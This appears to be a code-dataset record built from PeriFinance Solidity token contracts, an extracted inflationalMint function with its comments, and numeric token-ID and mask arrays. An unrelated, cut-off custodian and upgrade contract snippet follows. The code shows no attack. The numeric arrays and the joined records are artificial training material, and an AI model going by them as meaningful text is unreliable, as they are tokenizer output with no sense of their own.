sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualPynth vPynth); function settle(address from, bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); function setLastExchangeRateForPynth(bytes32 currencyKey, uint rate) external; function suspendPynthWithInvalidRate(bytes32 currencyKey) external; } // https://docs.peri.finance/contracts/source/interfaces/irewardsdistribution interface IRewardsDistribution { // Structs struct DistributionData { address destination; uint amount; } // Views function authority() external view returns (address); function distributions(uint index) external view returns (address destination, uint amount); // DistributionData function distributionsLength() external view returns (uint); // Mutative Functions function distributeRewards(uint amount) external returns (bool); } interface IStakingStateUSDC { // Mutative function stake(address _account, uint _amount) external; function unstake(address _account, uint _amount) external; function refund(address _account, uint _amount) external returns (bool); // Admin function setUSDCAddress(address _usdcAddress) external; function usdcAddress() external view returns (address); // View function stakedAmountOf(address _account) external view returns (uint); function totalStakerCount() external view returns (uint); function totalStakedAmount() external view returns (uint); function userStakingShare(address _account) external view returns (uint); function decimals() external view returns (uint8); function hasStaked(address _account) external view returns (bool); } // Inheritance // Libraries // Internal references contract BasePeriFinance is IERC20, ExternStateToken, MixinResolver, IPeriFinance { using SafeMath for uint; using SafeDecimalMath for uint; // ========== STATE VARIABLES ========== // Available Pynths which can be used with the system string public constant TOKEN_NAME = "Peri Finance Token"; string public constant TOKEN_SYMBOL = "PERI"; uint8 public constant DECIMALS = 18; bytes32 public constant pUSD = "pUSD"; // ========== ADDRESS RESOLVER CONFIGURATION ========== bytes32 private constant CONTRACT_PERIFINANCESTATE = "PeriFinanceState"; bytes32 private constant CONTRACT_SYSTEMSTATUS = "SystemStatus"; bytes32 private constant CONTRACT_EXCHANGER = "Exchanger"; bytes32 private constant CONTRACT_ISSUER = "Issuer"; bytes32 private constant CONTRACT_REWARDSDISTRIBUTION = "RewardsDistribution"; bytes32 private constant CONTRACT_STAKINGSTATE_USDC = "StakingStateUSDC"; // ========== CONSTRUCTOR ========== constructor( address payable _proxy, TokenState _tokenState, address _owner, uint _totalSupply, address _resolver ) public ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner) MixinResolver(_resolver) {} // ========== VIEWS ========== // Note: use public visibility so that it can be invoked in a subclass function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { addresses = new bytes32[](6); addresses[0] = CONTRACT_PERIFINANCESTATE; addresses[1] = CONTRACT_SYSTEMSTATUS; addresses[2] = CONTRACT_EXCHANGER; addresses[3] = CONTRACT_ISSUER; addresses[4] = CONTRACT_REWARDSDISTRIBUTION; addresses[5] = CONTRACT_STAKINGSTATE_USDC; } function periFinanceState() internal view returns (IPeriFinanceState) { return IPeriFinanceState(requireAndGetAddress(CONTRACT_PERIFINANCESTATE)); } function systemStatus() internal view returns (ISystemStatus) { return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS)); } function exchanger() internal view returns (IExchanger) { return IExchanger(requireAndGetAddress(CONTRACT_EXCHANGER)); } function issuer() internal view returns (IIssuer) { return IIssuer(requireAndGetAddress(CONTRACT_ISSUER)); } function stakingStateUSDC() internal view returns (IStakingStateUSDC) { return IStakingStateUSDC(requireAndGetAddress(CONTRACT_STAKINGSTATE_USDC)); } function rewardsDistribution() internal view returns (IRewardsDistribution) { return IRewardsDistribution(requireAndGetAddress(CONTRACT_REWARDSDISTRIBUTION)); } function getRequiredAddress(bytes32 _contractName) external view returns (address) { return requireAndGetAddress(_contractName); } function debtBalanceOf(address account, bytes32 currencyKey) external view returns (uint) { return issuer().debtBalanceOf(account, currencyKey); } function totalIssuedPynths(bytes32 currencyKey) external view returns (uint) { return issuer().totalIssuedPynths(currencyKey, false); } function totalIssuedPynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint) { return issuer().totalIssuedPynths(currencyKey, true); } function availableCurrencyKeys() external view returns (bytes32[] memory) { return issuer().availableCurrencyKeys(); } function availablePynthCount() external view returns (uint) { return issuer().availablePynthCount(); } function availablePynths(uint index) external view returns (IPynth) { return issuer().availablePynths(index); } function pynths(bytes32 currencyKey) external view returns (IPynth) { return issuer().pynths(currencyKey); } function pynthsByAddress(address pynthAddress) external view returns (bytes32) { return issuer().pynthsByAddress(pynthAddress); } function isWaitingPeriod(bytes32 currencyKey) external view returns (bool) { return exchanger().maxSecsLeftInWaitingPeriod(messageSender, currencyKey) > 0; } function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid) { return issuer().anyPynthOrPERIRateIsInvalid(); } function maxIssuablePynths(address account) external view returns (uint maxIssuable) { return issuer().maxIssuablePynths(account); } function remainingIssuablePynths(address account) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ) { return issuer().remainingIssuablePynths(account); } function collateralisationRatio(address _issuer) external view returns (uint) { return issuer().collateralisationRatio(_issuer); } function collateral(address account) external view returns (uint) { return issuer().collateral(account); } function transferablePeriFinance(address account) external view returns (uint transferable) { (transferable, ) = issuer().transferablePeriFinanceAndAnyRateIsInvalid(account, tokenState.balanceOf(account)); } function currentUSDCDebtQuota(address _account) external view returns (uint) { return issuer().currentUSDCDebtQuota(_account); } function usdcStakedAmountOf(address _account) external view returns (uint) { return stakingStateUSDC().stakedAmountOf(_account); } function usdcTotalStakedAmount() external view returns (uint) { return stakingStateUSDC().totalStakedAmount(); } function userUSDCStakingShare(address _account) external view returns (uint) { return stakingStateUSDC().userStakingShare(_account); } function totalUSDCStakerCount() external view returns (uint) { return stakingStateUSDC().totalStakerCount(); } function _canTransfer(address account, uint value) internal view returns (bool) { (uint initialDebtOwnership, ) = periFinanceState().issuanceData(account); if (initialDebtOwnership > 0) { (uint transferable, bool anyRateIsInvalid) = issuer().transferablePeriFinanceAndAnyRateIsInvalid(account, tokenState.balanceOf(account)); require(value <= transferable, "Cannot transfer staked or escrowed PERI"); require(!anyRateIsInvalid, "A pynth or PERI rate is invalid"); } return true; } // ========== MUTATIVE FUNCTIONS ========== function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { _notImplemented(); return exchanger().exchange(messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender); } function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { _notImplemented(); return exchanger().exchangeOnBehalf( exchangeForAddress, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey ); } function settle(bytes32 currencyKey) external optionalProxy returns ( uint reclaimed, uint refunded, uint numEntriesSettled ) { _notImplemented(); return exchanger().settle(messageSender, currencyKey); } function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { _notImplemented(); return exchanger().exchangeWithTracking( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, originator, trackingCode ); } function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) { _notImplemented(); return exchanger().exchangeOnBehalfWithTracking( exchangeForAddress, messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, originator, trackingCode ); } function transfer(address to, uint value) external optionalProxy systemActive returns (bool) { // Ensure they're not trying to exceed their locked amount -- only if they have debt. _canTransfer(messageSender, value); // Perform the transfer: if there is a problem an exception will be thrown in this call. _transferByProxy(messageSender, to, value); return true; } function transferFrom( address from, address to, uint value ) external optionalProxy systemActive returns (bool) { // Ensure they're not trying to exceed their locked amount -- only if they have debt. _canTransfer(from, value); // Perform the transfer: if there is a problem, // an exception will be thrown in this call. return _transferFromByProxy(messageSender, from, to, value); } function issuePynthsAndStakeUSDC(uint _issueAmount, uint _usdcStakeAmount) external issuanceActive optionalProxy { issuer().issuePynthsAndStakeUSDC(messageSender, _issueAmount, _usdcStakeAmount); } function issueMaxPynths() external issuanceActive optionalProxy { issuer().issueMaxPynths(messageSender); } function issuePynthsAndStakeMaxUSDC(uint _issueAmount) external issuanceActive optionalProxy { issuer().issuePynthsAndStakeMaxUSDC(messageSender, _issueAmount); } function burnPynthsAndUnstakeUSDC(uint _burnAmount, uint _unstakeAmount) external issuanceActive optionalProxy { return issuer().burnPynthsAndUnstakeUSDC(messageSender, _burnAmount, _unstakeAmount); } function burnPynthsAndUnstakeUSDCToTarget() external issuanceActive optionalProxy { return issuer().burnPynthsAndUnstakeUSDCToTarget(messageSender); } function exchangeWithVirtual( bytes32, uint, bytes32, bytes32 ) external returns (uint, IVirtualPynth) { _notImplemented(); } function liquidateDelinquentAccount(address, uint) external returns (bool) { _notImplemented(); } function mintSecondary(address, uint) external { _notImplemented(); } function mintSecondaryRewards(uint) external { _notImplemented(); } function burnSecondary(address, uint) external { _notImplemented(); } function _notImplemented() internal pure { revert("Cannot be run on this layer"); } // ========== MODIFIERS ========== modifier systemActive() { _systemActive(); _; } function _systemActive() private { systemStatus().requireSystemActive(); } modifier issuanceActive() { _issuanceActive(); _; } function _issuanceActive() private { systemStatus().requireIssuanceActive(); } modifier exchangeActive(bytes32 src, bytes32 dest) { _exchangeActive(src, dest); _; } function _exchangeActive(bytes32 src, bytes32 dest) private { systemStatus().requireExchangeBetweenPynthsAllowed(src, dest); } modifier onlyExchanger() { _onlyExchanger(); _; } function _onlyExchanger() private { require(msg.sender == address(exchanger()), "Only Exchanger can invoke this"); } // ========== EVENTS ========== event PynthExchange( address indexed account, bytes32 fromCurrencyKey, uint256 fromAmount, bytes32 toCurrencyKey, uint256 toAmount, address toAddress ); bytes32 internal constant PYNTHEXCHANGE_SIG = keccak256("PynthExchange(address,bytes32,uint256,bytes32,uint256,address)"); function emitPynthExchange( address account, bytes32 fromCurrencyKey, uint256 fromAmount, bytes32 toCurrencyKey, uint256 toAmount, address toAddress ) external onlyExchanger { proxy._emit( abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, PYNTHEXCHANGE_SIG, addressToBytes32(account), 0, 0 ); } event ExchangeTracking(bytes32 indexed trackingCode, bytes32 toCurrencyKey, uint256 toAmount); bytes32 internal constant EXCHANGE_TRACKING_SIG = keccak256("ExchangeTracking(bytes32,bytes32,uint256)"); function emitExchangeTracking( bytes32 trackingCode, bytes32 toCurrencyKey, uint256 toAmount ) external onlyExchanger { proxy._emit(abi.encode(toCurrencyKey, toAmount), 2, EXCHANGE_TRACKING_SIG, trackingCode, 0, 0); } event ExchangeReclaim(address indexed account, bytes32 currencyKey, uint amount); bytes32 internal constant EXCHANGERECLAIM_SIG = keccak256("ExchangeReclaim(address,bytes32,uint256)"); function emitExchangeReclaim( address account, bytes32 currencyKey, uint256 amount ) external onlyExchanger { proxy._emit(abi.encode(currencyKey, amount), 2, EXCHANGERECLAIM_SIG, addressToBytes32(account), 0, 0); } event ExchangeRebate(address indexed account, bytes32 currencyKey, uint amount); bytes32 internal constant EXCHANGEREBATE_SIG = keccak256("ExchangeRebate(address,bytes32,uint256)"); function emitExchangeRebate( address account, bytes32 currencyKey, uint256 amount ) external onlyExchanger { proxy._emit(abi.encode(currencyKey, amount), 2, EXCHANGEREBATE_SIG, addressToBytes32(account), 0, 0); } } // https://docs.peri.finance/contracts/source/interfaces/irewardescrow interface IRewardEscrow { // Views function balanceOf(address account) external view returns (uint); function numVestingEntries(address account) external view returns (uint); function totalEscrowedAccountBalance(address account) external view returns (uint); function totalVestedAccountBalance(address account) external view returns (uint); function getVestingScheduleEntry(address account, uint index) external view returns (uint[2] memory); function getNextVestingIndex(address account) external view returns (uint); // Mutative functions function appendVestingEntry(address account, uint quantity) external; function vest() external; } pragma experimental ABIEncoderV2; library VestingEntries { struct VestingEntry { uint64 endTime; uint256 escrowAmount; } struct VestingEntryWithID { uint64 endTime; uint256 escrowAmount; uint256 entryID; } } interface IRewardEscrowV2 { // Views function balanceOf(address account) external view returns (uint); function numVestingEntries(address account) external view returns (uint); function totalEscrowedAccountBalance(address account) external view returns (uint); function totalVestedAccountBalance(address account) external view returns (uint); function getVestingQuantity(address account, uint256[] calldata entryIDs) external view returns (uint); function getVestingSchedules( address account, uint256 index, uint256 pageSize ) external view returns (VestingEntries.VestingEntryWithID[] memory); function getAccountVestingEntryIDs( address account, uint256 index, uint256 pageSize ) external view returns (uint256[] memory); function getVestingEntryClaimable(address account, uint256 entryID) external view returns (uint); function getVestingEntry(address account, uint256 entryID) external view returns (uint64, uint256); // Mutative functions function vest(uint256[] calldata entryIDs) external; function createEscrowEntry( address beneficiary, uint256 deposit, uint256 duration ) external; function appendVestingEntry( address account, uint256 quantity, uint256 duration ) external; function migrateVestingSchedule(address _addressToMigrate) external; function migrateAccountEscrowBalances( address[] calldata accounts, uint256[] calldata escrowBalances, uint256[] calldata vestedBalances ) external; // Account Merging function startMergingWindow() external; function mergeAccount(address accountToMerge, uint256[] calldata entryIDs) external; function nominateAccountToMerge(address account) external; function accountMergingIsOpen() external view returns (bool); // L2 Migration function importVestingEntries( address account, uint256 escrowedAmount, VestingEntries.VestingEntry[] calldata vestingEntries ) external; // Return amount of PERI transfered to PeriFinanceBridgeToOptimism deposit contract function burnForMigration(address account, uint256[] calldata entryIDs) external returns (uint256 escrowedAccountBalance, VestingEntries.VestingEntry[] memory vestingEntries); } // https://docs.peri.finance/contracts/source/interfaces/isupplyschedule interface ISupplySchedule { // Views function mintableSupply() external view returns (uint); function isMintable() external view returns (bool); function minterReward() external view returns (uint); // Mutative functions function recordMintEvent(uint supplyMinted) external returns (bool); } // Inheritance // Internal references // https://docs.peri.finance/contracts/source/contracts/periFinance contract PeriFinance is BasePeriFinance { // ========== ADDRESS RESOLVER CONFIGURATION ========== bytes32 private constant CONTRACT_REWARD_ESCROW = "RewardEscrow"; bytes32 private constant CONTRACT_REWARDESCROW_V2 = "RewardEscrowV2"; bytes32 private constant CONTRACT_SUPPLYSCHEDULE = "SupplySchedule"; address public minterRole; address public inflationMinter; // ========== CONSTRUCTOR ========== constructor( address payable _proxy, TokenState _tokenState, address _owner, uint _totalSupply, address _resolver, address _minterRole ) public BasePeriFinance(_proxy, _tokenState, _owner, _totalSupply, _resolver) { minterRole = _minterRole; } function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { bytes32[] memory existingAddresses = BasePeriFinance.resolverAddressesRequired(); bytes32[] memory newAddresses = new bytes32[](3); newAddresses[0] = CONTRACT_REWARD_ESCROW; newAddresses[1] = CONTRACT_REWARDESCROW_V2; newAddresses[2] = CONTRACT_SUPPLYSCHEDULE; return combineArrays(existingAddresses, newAddresses); } // ========== VIEWS ========== function rewardEscrow() internal view returns (IRewardEscrow) { return IRewardEscrow(requireAndGetAddress(CONTRACT_REWARD_ESCROW)); } function rewardEscrowV2() internal view returns (IRewardEscrowV2) { return IRewardEscrowV2(requireAndGetAddress(CONTRACT_REWARDESCROW_V2)); } function supplySchedule() internal view returns (ISupplySchedule) { return ISupplySchedule(requireAndGetAddress(CONTRACT_SUPPLYSCHEDULE)); } // ========== OVERRIDDEN FUNCTIONS ========== function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived, IVirtualPynth vPynth) { _notImplemented(); return exchanger().exchangeWithVirtual( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, trackingCode ); } function settle(bytes32 currencyKey) external optionalProxy returns ( uint reclaimed, uint refunded, uint numEntriesSettled ) { _notImplemented(); return exchanger().settle(messageSender, currencyKey); } function inflationalMint(uint _networkDebtShare) external issuanceActive returns (bool) { require(msg.sender == inflationMinter, "Not allowed to mint"); require(SafeDecimalMath.unit() >= _networkDebtShare, "Invalid network debt share"); require(address(rewardsDistribution()) != address(0), "RewardsDistribution not set"); ISupplySchedule _supplySchedule = supplySchedule(); IRewardsDistribution _rewardsDistribution = rewardsDistribution(); uint supplyToMint = _supplySchedule.mintableSupply(); supplyToMint = supplyToMint.multiplyDecimal(_networkDebtShare); require(supplyToMint > 0, "No supply is mintable"); // record minting event before mutation to token supply _supplySchedule.recordMintEvent(supplyToMint); // Set minted PERI balance to RewardEscrow's balance // Minus the minterReward and set balance of minter to add reward uint minterReward = _supplySchedule.minterReward(); // Get the remainder uint amountToDistribute = supplyToMint.sub(minterReward); // Set the token balance to the RewardsDistribution contract tokenState.setBalanceOf( address(_rewardsDistribution), tokenState.balanceOf(address(_rewardsDistribution)).add(amountToDistribute) ); emitTransfer(address(this), address(_rewardsDistribution), amountToDistribute); // Kick off the distribution of rewards _rewardsDistribution.distributeRewards(amountToDistribute); // Assign the minters reward. tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward)); emitTransfer(address(this), msg.sender, minterReward); totalSupply = totalSupply.add(supplyToMint); return true; } function mint(address _user, uint _amount) external optionalProxy returns (bool) { require(minterRole != address(0), "Mint is not available"); require(minterRole == messageSender, "Caller is not allowed to mint"); // It won't change totalsupply since it is only for bridge purpose. tokenState.setBalanceOf(_user, tokenState.balanceOf(_user).add(_amount)); emitTransfer(address(0), _user, _amount); return true; } function liquidateDelinquentAccount(address account, uint pusdAmount) external systemActive optionalProxy returns (bool) { _notImplemented(); (uint totalRedeemed, uint amountLiquidated) = issuer().liquidateDelinquentAccount(account, pusdAmount, messageSender); emitAccountLiquidated(account, totalRedeemed, amountLiquidated, messageSender); // Transfer PERI redeemed to messageSender // Reverts if amount to redeem is more than balanceOf account, ie due to escrowed balance return _transferByProxy(account, messageSender, totalRedeemed); } /* Once off function for SIP-60 to migrate PERI balances in the RewardEscrow contract * To the new RewardEscrowV2 contract */ function migrateEscrowBalanceToRewardEscrowV2() external onlyOwner { // Record balanceOf(RewardEscrow) contract uint rewardEscrowBalance = tokenState.balanceOf(address(rewardEscrow())); // transfer all of RewardEscrow's balance to RewardEscrowV2 // _internalTransfer emits the transfer event _internalTransfer(address(rewardEscrow()), address(rewardEscrowV2()), rewardEscrowBalance); } function setMinterRole(address _newMinter) external onlyOwner { // If address is set to zero address, mint is not prohibited minterRole = _newMinter; } function setinflationMinter(address _newinflationMinter) external onlyOwner { inflationMinter = _newinflationMinter; } // ========== EVENTS ========== event AccountLiquidated(address indexed account, uint periRedeemed, uint amountLiquidated, address liquidator); bytes32 internal constant ACCOUNTLIQUIDATED_SIG = keccak256("AccountLiquidated(address,uint256,uint256,address)"); function emitAccountLiquidated( address account, uint256 periRedeemed, uint256 amountLiquidated, address liquidator ) internal { proxy._emit( abi.encode(periRedeemed, amountLiquidated, liquidator), 2, ACCOUNTLIQUIDATED_SIG, addressToBytes32(account), 0, 0 ); } } contract PeriFinanceToEthereum is PeriFinance { address public childChainManager; constructor( address payable _proxy, TokenState _tokenState, address _owner, uint _totalSupply, address _resolver, address _minterRole ) public PeriFinance(_proxy, _tokenState, _owner, _totalSupply, _resolver, _minterRole) {} function inflationalMint() external returns (bool) { _notImplemented(); } function issuePynthsAndStakeUSDC(uint _issueAmount, uint _usdcStakeAmount) external { _notImplemented(); } function issueMaxPynths() external { _notImplemented(); } function issuePynthsAndStakeMaxUSDC(uint _issueAmount) external { _notImplemented(); } function burnPynthsAndUnstakeUSDC(uint _burnAmount, uint _unstakeAmount) external { _notImplemented(); } function burnPynthsAndUnstakeUSDCToTarget() external { _notImplemented(); } function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived) { _notImplemented(); } function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived) { _notImplemented(); } function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived) { _notImplemented(); } function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived) { _notImplemented(); } function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualPynth vPynth) { _notImplemented(); } function settle(bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ) { _notImplemented(); } function liquidateDelinquentAccount(address account, uint pusdAmount) external returns (bool) { _notImplemented(); } function transfer(address to, uint value) external optionalProxy systemActive returns (bool) { return _transferByProxy(messageSender, to, value); } function transferFrom( address from, address to, uint value ) external optionalProxy systemActive returns (bool) { return _transferFromByProxy(messageSender, from, to, value); } }
record minting event before mutation to token supply Set minted PERI balance to RewardEscrow's balance Minus the minterReward and set balance of minter to add reward Get the remainder Set the token balance to the RewardsDistribution contract Kick off the distribution of rewards Assign the minters reward.
function inflationalMint(uint _networkDebtShare) external issuanceActive returns (bool) { require(msg.sender == inflationMinter, "Not allowed to mint"); require(SafeDecimalMath.unit() >= _networkDebtShare, "Invalid network debt share"); require(address(rewardsDistribution()) != address(0), "RewardsDistribution not set"); ISupplySchedule _supplySchedule = supplySchedule(); IRewardsDistribution _rewardsDistribution = rewardsDistribution(); uint supplyToMint = _supplySchedule.mintableSupply(); supplyToMint = supplyToMint.multiplyDecimal(_networkDebtShare); require(supplyToMint > 0, "No supply is mintable"); _supplySchedule.recordMintEvent(supplyToMint); uint minterReward = _supplySchedule.minterReward(); uint amountToDistribute = supplyToMint.sub(minterReward); tokenState.setBalanceOf( address(_rewardsDistribution), tokenState.balanceOf(address(_rewardsDistribution)).add(amountToDistribute) ); emitTransfer(address(this), address(_rewardsDistribution), amountToDistribute); _rewardsDistribution.distributeRewards(amountToDistribute); tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward)); emitTransfer(address(this), msg.sender, minterReward); totalSupply = totalSupply.add(supplyToMint); return true; }
1,629,482
[ 1, 3366, 312, 474, 310, 871, 1865, 11934, 358, 1147, 14467, 1000, 312, 474, 329, 10950, 45, 11013, 358, 534, 359, 1060, 6412, 492, 1807, 11013, 5444, 407, 326, 1131, 387, 17631, 1060, 471, 444, 11013, 434, 1131, 387, 358, 527, 19890, 968, 326, 10022, 1000, 326, 1147, 11013, 358, 326, 534, 359, 14727, 9003, 6835, 1475, 1200, 3397, 326, 7006, 434, 283, 6397, 12093, 326, 1131, 5432, 19890, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13947, 8371, 49, 474, 12, 11890, 389, 5185, 758, 23602, 9535, 13, 3903, 3385, 89, 1359, 3896, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 13947, 367, 49, 2761, 16, 315, 1248, 2935, 358, 312, 474, 8863, 203, 3639, 2583, 12, 9890, 5749, 10477, 18, 4873, 1435, 1545, 389, 5185, 758, 23602, 9535, 16, 315, 1941, 2483, 18202, 88, 7433, 8863, 203, 3639, 2583, 12, 2867, 12, 266, 6397, 9003, 10756, 480, 1758, 12, 20, 3631, 315, 17631, 14727, 9003, 486, 444, 8863, 203, 203, 3639, 467, 3088, 1283, 6061, 389, 2859, 1283, 6061, 273, 14467, 6061, 5621, 203, 3639, 15908, 359, 14727, 9003, 389, 266, 6397, 9003, 273, 283, 6397, 9003, 5621, 203, 203, 3639, 2254, 14467, 774, 49, 474, 273, 389, 2859, 1283, 6061, 18, 81, 474, 429, 3088, 1283, 5621, 203, 3639, 14467, 774, 49, 474, 273, 14467, 774, 49, 474, 18, 7027, 1283, 5749, 24899, 5185, 758, 23602, 9535, 1769, 203, 3639, 2583, 12, 2859, 1283, 774, 49, 474, 405, 374, 16, 315, 2279, 14467, 353, 312, 474, 429, 8863, 203, 203, 3639, 389, 2859, 1283, 6061, 18, 3366, 49, 474, 1133, 12, 2859, 1283, 774, 49, 474, 1769, 203, 203, 3639, 2254, 1131, 387, 17631, 1060, 273, 389, 2859, 1283, 6061, 18, 1154, 387, 17631, 1060, 5621, 203, 3639, 2254, 3844, 774, 1669, 887, 273, 14467, 774, 49, 474, 18, 1717, 12, 1154, 387, 17631, 1060, 1769, 203, 203, 3639, 1147, 1119, 18, 542, 13937, 951, 12, 203, 5411, 1758, 24899, 266, 2 ]
pragma solidity ^0.4.21; contract Zamok { // MEMBERS uint256 public zamokCount; // CONSTRUCTOR function Zamok() public { zamokCount = 0; } // FUNCTIONS function generateZamokId() internal returns (bytes32 zamokId) { return keccak256(block.blockhash(block.number - 1), address(this), ++zamokCount); } } contract CustodianCanBeReplaced is Zamok { // TYPES struct CustodianChangeRequest { address proposedNew; } // MEMBERS address public custodian; mapping (bytes32 => CustodianChangeRequest) public custodianChangeRequests; // CONSTRUCTOR function CustodianCanBeReplaced( address _custodian ) Zamok() public { custodian = _custodian; } // MODIFIERS modifier onlyCustodian { require(msg.sender == custodian); _; } // PUBLIC FUNCTIONS // (UPGRADE) function requestCustodianChange(address _proposedCustodian) public returns (bytes32 zamokId) { require(_proposedCustodian != address(0)); zamokId = generateZamokId(); custodianChangeRequests[zamokId] = CustodianChangeRequest({ proposedNew: _proposedCustodian }); emit CustodianChangeRequested(zamokId, msg.sender, _proposedCustodian); } function confirmCustodianChange(bytes32 _zamokId) public onlyCustodian { custodian = getCustodianChangeRequest(_zamokId); delete custodianChangeRequests[_zamokId]; emit CustodianChangeConfirmed(_zamokId, custodian); } // PRIVATE FUNCTIONS function getCustodianChangeRequest(bytes32 _zamokId) private view returns (address _proposedNew) { CustodianChangeRequest storage changeRequest = custodianChangeRequests[_zamokId]; // reject ‘null’ results from the map lookup // this can only be the case if an unknown `_zamokId` is received require(changeRequest.proposedNew != 0); return changeRequest.proposedNew; } event CustodianChangeRequested( bytes32 _zamokId, address _msgSender, address _proposedCustodian ); event CustodianChangeConfirmed(bytes32 _zamokId, address _newCustodian); } contract DeloCanBeReplaced is CustodianCanBeReplaced { // TYPES struct DeloChangeRequest { address proposedNew; } // MEMBERS // @dev The reference to the active token implementation. Delo public delo; mapping (bytes32 => DeloChangeRequest) public deloChangeRequests; // CONSTRUCTOR function DeloCanBeReplaced(address _custodian) CustodianCanBeReplaced(_custodian) public { delo = Delo(0x0); } // MODIFIERS modifier onlyDelo { require(msg.sender == address(delo)); _; } // PUBLIC FUNCTIONS // (UPGRADE) function requestDeloChange(address _proposedDelo) public returns (bytes32 zamokId) { require(_proposedDelo != address(0)); zamokId = generateZamokId(); deloChangeRequests[zamokId] = DeloChangeRequest({ proposedNew: _proposedDelo }); emit DeloChangeRequested(zamokId, msg.sender, _proposedDelo); } function confirmDeloChange(bytes32 _zamokId) public onlyCustodian { delo = getDeloChangeRequest(_zamokId); delete deloChangeRequests[_zamokId]; emit DeloChangeConfirmed(_zamokId, address(delo)); } // PRIVATE FUNCTIONS function getDeloChangeRequest(bytes32 _zamokId) private view returns (Delo _proposedNew) { DeloChangeRequest storage changeRequest = deloChangeRequests[_zamokId]; // reject ‘null’ results from the map lookup // this can only be the case if an unknown `_zamokId` is received require(changeRequest.proposedNew != address(0)); return Delo(changeRequest.proposedNew); } event DeloChangeRequested( bytes32 _zamokId, address _msgSender, address _proposedDelo ); event DeloChangeConfirmed(bytes32 _zamokId, address _newImpl); } contract ERC20Interface { // METHODS // 